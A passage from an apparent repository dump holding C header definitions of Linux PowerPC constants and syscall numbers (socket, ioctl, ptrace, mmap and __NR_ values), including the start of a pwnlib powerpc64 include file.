MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FILE 0\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 330\n#define SYS_accept4 344\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 269\n#define SYS_adjtimex 124\n#define SYS_afs_syscall 137\n#define SYS_alarm 27\n#define SYS_bdflush 134\n#define SYS_bind 327\n#define SYS_bpf 361\n#define SYS_break 17\n#define SYS_brk 45\n#define SYS_capget 183\n#define SYS_capset 184\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 181\n#define SYS_chroot 61\n#define SYS_clock_adjtime 347\n#define SYS_clock_adjtime64 405\n#define SYS_clock_getres 247\n#define SYS_clock_getres_time64 406\n#define SYS_clock_gettime 246\n#define SYS_clock_gettime64 403\n#define SYS_clock_nanosleep 248\n#define SYS_clock_nanosleep_time64 407\n#define SYS_clock_settime 245\n#define SYS_clock_settime64 404\n#define SYS_clone 120\n#define SYS_clone3 435\n#define SYS_close 6\n#define SYS_connect 328\n#define SYS_copy_file_range 379\n#define SYS_creat 8\n#define SYS_create_module 127\n#define SYS_delete_module 129\n#define SYS_dup 41\n#define SYS_dup2 63\n#define SYS_dup3 316\n#define SYS_epoll_create 236\n#define SYS_epoll_create1 315\n#define SYS_epoll_ctl 237\n#define SYS_epoll_pwait 303\n#define SYS_epoll_wait 238\n#define SYS_eventfd 307\n#define SYS_eventfd2 314\n#define SYS_execve 11\n#define SYS_execveat 362\n#define SYS_exit 1\n#define SYS_exit_group 234\n#define SYS_faccessat 298\n#define SYS_fadvise64 233\n#define SYS_fadvise64_64 254\n#define SYS_fallocate 309\n#define SYS_fanotify_init 323\n#define SYS_fanotify_mark 324\n#define SYS_fchdir 133\n#define SYS_fchmod 94\n#define SYS_fchmodat 297\n#define SYS_fchown 95\n#define SYS_fchownat 289\n#define SYS_fcntl 55\n#define SYS_fcntl64 204\n#define SYS_fdatasync 148\n#define SYS_fgetxattr 214\n#define SYS_finit_module 353\n#define SYS_flistxattr 217\n#define SYS_flock 143\n#define SYS_fork 2\n#define SYS_fremovexattr 220\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 211\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 108\n#define SYS_fstat64 197\n#define SYS_fstatat64 291\n#define SYS_fstatfs 100\n#define SYS_fstatfs64 253\n#define SYS_fsync 118\n#define SYS_ftime 35\n#define SYS_ftruncate 93\n#define SYS_ftruncate64 194\n#define SYS_futex 221\n#define SYS_futex_time64 422\n#define SYS_futimesat 290\n#define SYS_getcpu 302\n#define SYS_getcwd 182\n#define SYS_getdents 141\n#define SYS_getdents64 202\n#define SYS_getegid 50\n#define SYS_geteuid 49\n#define SYS_getgid 47\n#define SYS_getgroups 80\n#define SYS_getitimer 105\n#define SYS_get_kernel_syms 130\n#define SYS_getpeername 332\n#define SYS_getpgid 132\n#define SYS_getpgrp 65\n#define SYS_getpid 20\n#define SYS_getpmsg 187\n#define SYS_getppid 64\n#define SYS_getpriority 96\n#define SYS_getrandom 359\n#define SYS_getresgid 170\n#define SYS_getresuid 165\n#define SYS_getrlimit 76\n#define SYS_get_robust_list 299\n#define SYS_getrusage 77\n#define SYS_getsid 147\n#define SYS_getsockname 331\n#define SYS_getsockopt 340\n#define SYS_gettid 207\n#define SYS_gettimeofday 78\n#define SYS_getuid 24\n#define SYS_getxattr 212\n#define SYS_gtty 32\n#define SYS_idle 112\n#define SYS_init_module 128\n#define SYS_inotify_add_watch 276\n#define SYS_inotify_init 275\n#define SYS_inotify_init1 318\n#define SYS_inotify_rm_watch 277\n#define SYS_io_cancel 231\n#define SYS_ioctl 54\n#define SYS_io_destroy 228\n#define SYS_io_getevents 229\n#define SYS_ioperm 101\n#define SYS_io_pgetevents 388\n#define SYS_io_pgetevents_time64 416\n#define SYS_iopl 110\n#define SYS_ioprio_get 274\n#define SYS_ioprio_set 273\n#define SYS_io_setup 227\n#define SYS_io_submit 230\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 117\n#define SYS_kcmp 354\n#define SYS_kexec_file_load 382\n#define SYS_kexec_load 268\n#define SYS_keyctl 271\n#define SYS_kill 37\n#define SYS_lchown 16\n#define SYS_lgetxattr 213\n#define SYS_link 9\n#define SYS_linkat 294\n#define SYS_listen 329\n#define SYS_listxattr 215\n#define SYS_llistxattr 216\n#define SYS__llseek 140\n#define SYS_lock 53\n#define SYS_lookup_dcookie 235\n#define SYS_lremovexattr 219\n#define SYS_lseek 19\n#define SYS_lsetxattr 210\n#define SYS_lstat 107\n#define SYS_lstat64 196\n#define SYS_madvise 205\n#define SYS_membarrier 365\n#define SYS_memfd_create 360\n#define SYS_mincore 206\n#define SYS_mkdir 39\n#define SYS_mkdirat 287\n#define SYS_mknod 14\n#define SYS_mknodat 288\n#define SYS_mlock 150\n#define SYS_mlock2 378\n#define SYS_mlockall 152\n#define SYS_mmap 90\n#define SYS_mmap2 192\n#define SYS_modify_ldt 123\n#define SYS_mount 21\n#define SYS_move_mount 429\n#define SYS_move_pages 301\n#define SYS_mprotect 125\n#define SYS_mpx 56\n#define SYS_mq_getsetattr 267\n#define SYS_mq_notify 266\n#define SYS_mq_open 262\n#define SYS_mq_timedreceive 265\n#define SYS_mq_timedreceive_time64 419\n#define SYS_mq_timedsend 264\n#define SYS_mq_timedsend_time64 418\n#define SYS_mq_unlink 263\n#define SYS_mremap 163\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 144\n#define SYS_multiplexer 201\n#define SYS_munlock 151\n#define SYS_munlockall 153\n#define SYS_munmap 91\n#define SYS_name_to_handle_at 345\n#define SYS_nanosleep 162\n#define SYS__newselect 142\n#define SYS_nfsservctl 168\n#define SYS_nice 34\n#define SYS_oldfstat 28\n#define SYS_oldlstat 84\n#define SYS_oldolduname 59\n#define SYS_oldstat 18\n#define SYS_olduname 109\n#define SYS_open 5\n#define SYS_openat 286\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 346\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_pciconfig_iobase 200\n#define SYS_pciconfig_read 198\n#define SYS_pciconfig_write 199\n#define SYS_perf_event_open 319\n#define SYS_personality 136\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 317\n#define SYS_pivot_root 203\n#define SYS_pkey_alloc 384\n#define SYS_pkey_free 385\n#define SYS_pkey_mprotect 386\n#define SYS_poll 167\n#define SYS_ppoll 281\n#define SYS_ppoll_time64 414\n#define SYS_prctl 171\n#define SYS_pread 179\n#define SYS_preadv 320\n#define SYS_preadv2 380\n#define SYS_prlimit64 325\n#define SYS_process_vm_readv 351\n#define SYS_process_vm_writev 352\n#define SYS_prof 44\n#define SYS_profil 98\n#define SYS_pselect6 280\n#define SYS_pselect6_time64 413\n#define SYS_ptrace 26\n#define SYS_putpmsg 188\n#define SYS_pwrite 180\n#define SYS_pwritev 321\n#define SYS_pwritev2 381\n#define SYS_query_module 166\n#define SYS_quotactl 131\n#define SYS_read 3\n#define SYS_readahead 191\n#define SYS_readdir 89\n#define SYS_readlink 85\n#define SYS_readlinkat 296\n#define SYS_readv 145\n#define SYS_reboot 88\n#define SYS_recv 336\n#define SYS_recvfrom 337\n#define SYS_recvmmsg 343\n#define SYS_recvmmsg_time64 417\n#define SYS_recvmsg 342\n#define SYS_remap_file_pages 239\n#define SYS_removexattr 218\n#define SYS_rename 38\n#define SYS_renameat 293\n#define SYS_renameat2 357\n#define SYS_request_key 270\n#define SYS_rmdir 40\n#define SYS_rseq 387\n#define SYS_rtas 255\n#define SYS_rt_sigaction 173\n#define SYS_rt_sigpending 175\n#define SYS_rt_sigprocmask 174\n#define SYS_rt_sigqueueinfo 177\n#define SYS_rt_sigreturn 172\n#define SYS_rt_sigsuspend 178\n#define SYS_rt_sigtimedwait 176\n#define SYS_rt_sigtimedwait_time64 421\n#define SYS_rt_tgsigqueueinfo 322\n#define SYS_sched_getaffinity 223\n#define SYS_sched_getattr 356\n#define SYS_sched_getparam 155\n#define SYS_sched_get_priority_max 159\n#define SYS_sched_get_priority_min 160\n#define SYS_sched_getscheduler 157\n#define SYS_sched_rr_get_interval 161\n#define SYS_sched_rr_get_interval_time64 423\n#define SYS_sched_setaffinity 222\n#define SYS_sched_setattr 355\n#define SYS_sched_setparam 154\n#define SYS_sched_setscheduler 156\n#define SYS_sched_yield 158\n#define SYS_seccomp 358\n#define SYS_select 82\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop_time64 420\n#define SYS_send 334\n#define SYS_sendfile 186\n#define SYS_sendfile64 226\n#define SYS_sendmmsg 349\n#define SYS_sendmsg 341\n#define SYS_sendto 335\n#define SYS_setdomainname 121\n#define SYS_setfsgid 139\n#define SYS_setfsuid 138\n#define SYS_setgid 46\n#define SYS_setgroups 81\n#define SYS_sethostname 74\n#define SYS_setitimer 104\n#define SYS_setns 350\n#define SYS_setpgid 57\n#define SYS_setpriority 97\n#define SYS_setregid 71\n#define SYS_setresgid 169\n#define SYS_setresuid 164\n#define SYS_setreuid 70\n#define SYS_setrlimit 75\n#define SYS_set_robust_list 300\n#define SYS_setsid 66\n#define SYS_setsockopt 339\n#define SYS_set_tid_address 232\n#define SYS_settimeofday 79\n#define SYS_setuid 23\n#define SYS_setxattr 209\n#define SYS_sgetmask 68\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 338\n#define SYS_sigaction 67\n#define SYS_sigaltstack 185\n#define SYS_signal 48\n#define SYS_signalfd 305\n#define SYS_signalfd4 313\n#define SYS_sigpending 73\n#define SYS_sigprocmask 126\n#define SYS_sigreturn 119\n#define SYS_sigsuspend 72\n#define SYS_socket 326\n#define SYS_socketcall 102\n#define SYS_socketpair 333\n#define SYS_splice 283\n#define SYS_spu_create 279\n#define SYS_spu_run 278\n#define SYS_ssetmask 69\n#define SYS_stat 106\n#define SYS_stat64 195\n#define SYS_statfs 99\n#define SYS_statfs64 252\n#define SYS_statx 383\n#define SYS_stime 25\n#define SYS_stty 31\n#define SYS_subpage_prot 310\n#define SYS_swapcontext 249\n#define SYS_swapoff 115\n#define SYS_swapon 87\n#define SYS_switch_endian 363\n#define SYS_symlink 83\n#define SYS_symlinkat 295\n#define SYS_sync 36\n#define SYS_sync_file_range2 308\n#define SYS_syncfs 348\n#define SYS__sysctl 149\n#define SYS_sys_debug_setcontext 256\n#define SYS_sysfs 135\n#define SYS_sysinfo 116\n#define SYS_syslog 103\n#define SYS_tee 284\n#define SYS_tgkill 250\n#define SYS_time 13\n#define SYS_timer_create 240\n#define SYS_timer_delete 244\n#define SYS_timerfd 306\n#define SYS_timerfd_gettime 312\n#define SYS_timerfd_gettime64 410\n#define SYS_timerfd_settime 311\n#define SYS_timerfd_settime64 411\n#define SYS_timer_getoverrun 243\n#define SYS_timer_gettime 242\n#define SYS_timer_gettime64 408\n#define SYS_timer_settime 241\n#define SYS_timer_settime64 409\n#define SYS_times 43\n#define SYS_tkill 208\n#define SYS_truncate 92\n#define SYS_truncate64 193\n#define SYS_tuxcall 225\n#define SYS_ugetrlimit 190\n#define SYS_ulimit 58\n#define SYS_umask 60\n#define SYS_umount 22\n#define SYS_umount2 52\n#define SYS_uname 122\n#define SYS_unlink 10\n#define SYS_unlinkat 292\n#define SYS_unshare 282\n#define SYS_uselib 86\n#define SYS_userfaultfd 364\n#define SYS_ustat 62\n#define SYS_utime 30\n#define SYS_utimensat 304\n#define SYS_utimensat_time64 412\n#define SYS_utimes 251\n#define SYS_vfork 189\n#define SYS_vhangup 111\n#define SYS_vm86 113\n#define SYS_vmsplice 285\n#define SYS_wait4 114\n#define SYS_waitid 272\n#define SYS_waitpid 7\n#define SYS_write 4\n#define SYS_writev 146\n#define r0 0\n#define r1 1\n#define r2 2\n#define r3 3\n#define r4 4\n#define r5 5\n#define r6 6\n#define r7 7\n#define r8 8\n#define r9 9\n#define r10 10\n#define r11 11\n#define r12 12\n#define r13 13\n#define r14 14\n#define r15 15\n#define r16 16\n#define r17 17\n#define r18 18\n#define r19 19\n#define r20 20\n#define r21 21\n#define r22 22\n#define r23 23\n#define r24 24\n#define r25 25\n#define r26 26\n#define r27 27\n#define r28 28\n#define r29 29\n#define r30 30\n#define r31 31\n"
  },
  {
    "path": "pwnlib/data/includes/linux/powerpc64.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_waitpid 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execve 11\n#define __NR_chdir 12\n#define __NR_time 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lchown 16\n#define __NR_break 17\n#define __NR_oldstat 18\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_mount 21\n#define __NR_umount 22\n#define __NR_setuid 23\n#define __NR_getuid 24\n#define __NR_stime 25\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_oldfstat 28\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_stty 31\n#define __NR_gtty 32\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_ftime 35\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_rename 38\n#define __NR_mkdir 39\n#define __NR_rmdir 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_prof 44\n#define __NR_brk 45\n#define __NR_setgid 46\n#define __NR_getgid 47\n#define __NR_signal 48\n#define __NR_geteuid 49\n#define __NR_getegid 50\n#define __NR_acct 51\n#define __NR_umount2 52\n#define __NR_lock 53\n#define __NR_ioctl 54\n#define __NR_fcntl 55\n#define __NR_mpx 56\n#define __NR_setpgid 57\n#define __NR_ulimit 58\n#define __NR_oldolduname 59\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_ustat 62\n#define __NR_dup2 63\n#define __NR_getppid 64\n#define __NR_getpgrp 65\n#define __NR_setsid 66\n#define __NR_sigaction 67\n#define __NR_sgetmask 68\n#define __NR_ssetmask 69\n#define __NR_setreuid 70\n#define __NR_setregid 71\n#define __NR_sigsuspend 72\n#define __NR_sigpending 73\n#define __NR_sethostname 74\n#define __NR_setrlimit 75\n#define __NR_getrlimit 76\n#define __NR_getrusage 77\n#define __NR_gettimeofday 78\n#define __NR_settimeofday 79\n#define __NR_getgroups 80\n#define __NR_setgroups 81\n#define __NR_select 82\n#define __NR_symlink 83\n#define __NR_oldlstat 84\n#define __NR_readlink 85\n#define __NR_uselib 86\n#define __NR_swapon 87\n#define __NR_reboot 88\n#define __NR_readdir 89\n#define __NR_mmap 90\n#define __NR_munmap 91\n#define __NR_truncate 92\n#define __NR_ftruncate 93\n#define __NR_fchmod 94\n#define __NR_fchown 95\n#define __NR_getpriority 96\n#define __NR_setpriority 97\n#define __NR_profil 98\n#define __NR_statfs 99\n#define __NR_fstatfs 100\n#define __NR_ioperm 101\n#define __NR_socketcall 102\n#define __NR_syslog 103\n#define __NR_setitimer 104\n#define __NR_getitimer 105\n#define __NR_stat 106\n#define __NR_lstat 107\n#define __NR_fstat 108\n#define __NR_olduname 109\n#define __NR_iopl 110\n#define __NR_vhangup 111\n#define __NR_idle 112\n#define __NR_vm86 113\n#define __NR_wait4 114\n#define __NR_swapoff 115\n#define __NR_sysinfo 116\n#define __NR_ipc 117\n#define __NR_fsync 118\n#define __NR_sigreturn 119\n#define __NR_clone 120\n#define __NR_setdomainname 121\n#define __NR_uname 122\n#define __NR_modify_ldt 123\n#define __NR_adjtimex 124\n#define __NR_mprotect 125\n#define __NR_sigprocmask 126\n#define __NR_create_module 127\n#define __NR_init_module 128\n#define __NR_delete_module 129\n#define __NR_get_kernel_syms 130\n#define __NR_quotactl 131\n#define __NR_getpgid 132\n#define __NR_fchdir 133\n#define __NR_bdflush 134\n#define __NR_sysfs 135\n#define __NR_personality 136\n#define __NR_afs_syscall 137\n#define __NR_setfsuid 138\n#define __NR_setfsgid 139\n#define __NR__llseek 140\n#define __NR_getdents 141\n#define __NR__newselect 142\n#define __NR_flock 143\n#define __NR_msync 144\n#define __NR_readv 145\n#define __NR_writev 146\n#define __NR_getsid 147\n#define __NR_fdatasync 148\n#define __NR__sysctl 149\n#define __NR_mlock 150\n#define __NR_munlock 151\n#define __NR_mlockall 152\n#define __NR_munlockall 153\n#define __NR_sched_setparam 154\n#define __NR_sched_getparam 155\n#define __NR_sched_setscheduler 156\n#define __NR_sched_getscheduler 157\n#define __NR_sched_yield 158\n#define __NR_sched_get_priority_max 159\n#define __NR_sched_get_priority_min 160\n#define __NR_sched_rr_get_interval 161\n#define __NR_nanosleep 162\n#define __NR_mremap 163\n#define __NR_setresuid 164\n#define __NR_getresuid 165\n#define __NR_query_module 166\n#define __NR_poll 167\n#define __NR_nfsservctl 168\n#define __NR_setresgid 169\n#define __NR_getresgid 170\n#define __NR_prctl 171\n#define __NR_rt_sigreturn 172\n#define __NR_rt_sigaction 173\n#define __NR_rt_sigprocmask 174\n#define __NR_rt_sigpending 175\n#define __NR_rt_sigtimedwait 176\n#define __NR_rt_sigqueueinfo 177\n#define __NR_rt_sigsuspend 178\n#define __NR_pread 179\n#define __NR_pwrite 180\n#define __NR_chown 181\n#define __NR_getcwd 182\n#define __NR_capget 183\n#define __NR_capset 184\n#define __NR_sigaltstack 185\n#define __NR_sendfile 186\n#define __NR_getpmsg 187\n#define __NR_putpmsg 188\n#define __NR_vfork 189\n#define __NR_ugetrlimit 190\n#define __NR_readahead 191\n#define __NR_pciconfig_read 198\n#define __NR_pciconfig_write 199\n#define __NR_pciconfig_iobase 200\n#define __NR_multiplexer 201\n#define __NR_getdents64 202\n#define __NR_pivot_root 203\n#define __NR_madvise 205\n#define __NR_mincore 206\n#define __NR_gettid 207\n#define __NR_tkill 208\n#define __NR_setxattr 209\n#define __NR_lsetxattr 210\n#define __NR_fsetxattr 211\n#define __NR_getxattr 212\n#define __NR_lgetxattr 213\n#define __NR_fgetxattr 214\n#define __NR_listxattr 215\n#define __NR_llistxattr 216\n#define __NR_flistxattr 217\n#define __NR_removexattr 218\n#define __NR_lremovexattr 219\n#define __NR_fremovexattr 220\n#define __NR_futex 221\n#define __NR_sched_setaffinity 222\n#define __NR_sched_getaffinity 223\n#define __NR_tuxcall 225\n#define __NR_io_setup 227\n#define __NR_io_destroy 228\n#define __NR_io_getevents 229\n#define __NR_io_submit 230\n#define __NR_io_cancel 231\n#define __NR_set_tid_address 232\n#define __NR_fadvise64 233\n#define __NR_exit_group 234\n#define __NR_lookup_dcookie 235\n#define __NR_epoll_create 236\n#define __NR_epoll_ctl 237\n#define __NR_epoll_wait 238\n#define __NR_remap_file_pages 239\n#define __NR_timer_create 240\n#define __NR_timer_settime 241\n#define __NR_timer_gettime 242\n#define __NR_timer_getoverrun 243\n#define __NR_timer_delete 244\n#define __NR_clock_settime 245\n#define __NR_clock_gettime 246\n#define __NR_clock_getres 247\n#define __NR_clock_nanosleep 248\n#define __NR_swapcontext 249\n#define __NR_tgkill 250\n#define __NR_utimes 251\n#define __NR_statfs64 252\n#define __NR_fstatfs64 253\n#define __NR_rtas 255\n#define __NR_mbind 259\n#define __NR_get_mempolicy 260\n#define __NR_set_mempolicy 261\n#define __NR_mq_open 262\n#define __NR_mq_unlink 263\n#define __NR_mq_timedsend 264\n#define __NR_mq_timedreceive 265\n#define __NR_mq_notify 266\n#define __NR_mq_getsetattr 267\n#define __NR_kexec_load 268\n#define __NR_add_key 269\n#define __NR_request_key 270\n#define __NR_keyctl 271\n#define __NR_waitid 272\n#define __NR_ioprio_set 273\n#define __NR_ioprio_get 274\n#define __NR_inotify_init 275\n#define __NR_inotify_add_watch 276\n#define __NR_inotify_rm_watch 277\n#define __NR_spu_run 278\n#define __NR_spu_create 279\n#define __NR_pselect6 280\n#define __NR_ppoll 281\n#define __NR_unshare 282\n#define __NR_splice 283\n#define __NR_tee 284\n#define __NR_vmsplice 285\n#define __NR_openat 286\n#define __NR_mkdirat 287\n#define __NR_mknodat 288\n#define __NR_fchownat 289\n#define __NR_futimesat 290\n#define __NR_newfstatat 291\n#define __NR_unlinkat 292\n#define __NR_renameat 293\n#define __NR_linkat 294\n#define __NR_symlinkat 295\n#define __NR_readlinkat 296\n#define __NR_fchmodat 297\n#define __NR_faccessat 298\n#define __NR_get_robust_list 299\n#define __NR_set_robust_list 300\n#define __NR_move_pages 301\n#define __NR_getcpu 302\n#define __NR_epoll_pwait 303\n#define __NR_utimensat 304\n#define __NR_signalfd 305\n#define __NR_timerfd 306\n#define __NR_eventfd 307\n#define __NR_sync_file_range2 308\n#define __NR_fallocate 309\n#define __NR_subpage_prot 310\n#define __NR_timerfd_settime 311\n#define __NR_timerfd_gettime 312\n#define __NR_signalfd4 313\n#define __NR_eventfd2 314\n#define __NR_epoll_create1 315\n#define __NR_dup3 316\n#define __NR_pipe2 317\n#define __NR_inotify_init1 318\n#define __NR_perf_event_open 319\n#define __NR_preadv 320\n#define __NR_pwritev 321\n#define __NR_rt_tgsigqueueinfo 322\n#define __NR_fanotify_init 323\n#define __NR_fanotify_mark 324\n#define __NR_prlimit64 325\n#define __NR_socket 326\n#define __NR_bind 327\n#define __NR_connect 328\n#define __NR_listen 329\n#define __NR_accept 330\n#define __NR_getsockname 331\n#define __NR_getpeername 332\n#define __NR_socketpair 333\n#define __NR_send 334\n#define __NR_sendto 335\n#define __NR_recv 336\n#define __NR_recvfrom 337\n#define __NR_shutdown 338\n#define __NR_setsockopt 339\n#define __NR_getsockopt 340\n#define __NR_sendmsg 341\n#define __NR_recvmsg 342\n#define __NR_recvmmsg 343\n#define __NR_accept4 344\n#define __NR_name_to_handle_at 345\n#define __NR_open_by_handle_at 346\n#define __NR_clock_adjtime 347\n#define __NR_syncfs 348\n#define __NR_sendmmsg 349\n#define __NR_setns 350\n#define __NR_process_vm_readv 351\n#define __NR_process_vm_writev 352\n#define __NR_finit_module 353\n#define __NR_kcmp 354\n#define __NR_sched_setattr 355\n#define __NR_sched_getattr 356\n#define __NR_renameat2 357\n#define __NR_seccomp 358\n#define __NR_getrandom 359\n#define __NR_memfd_create 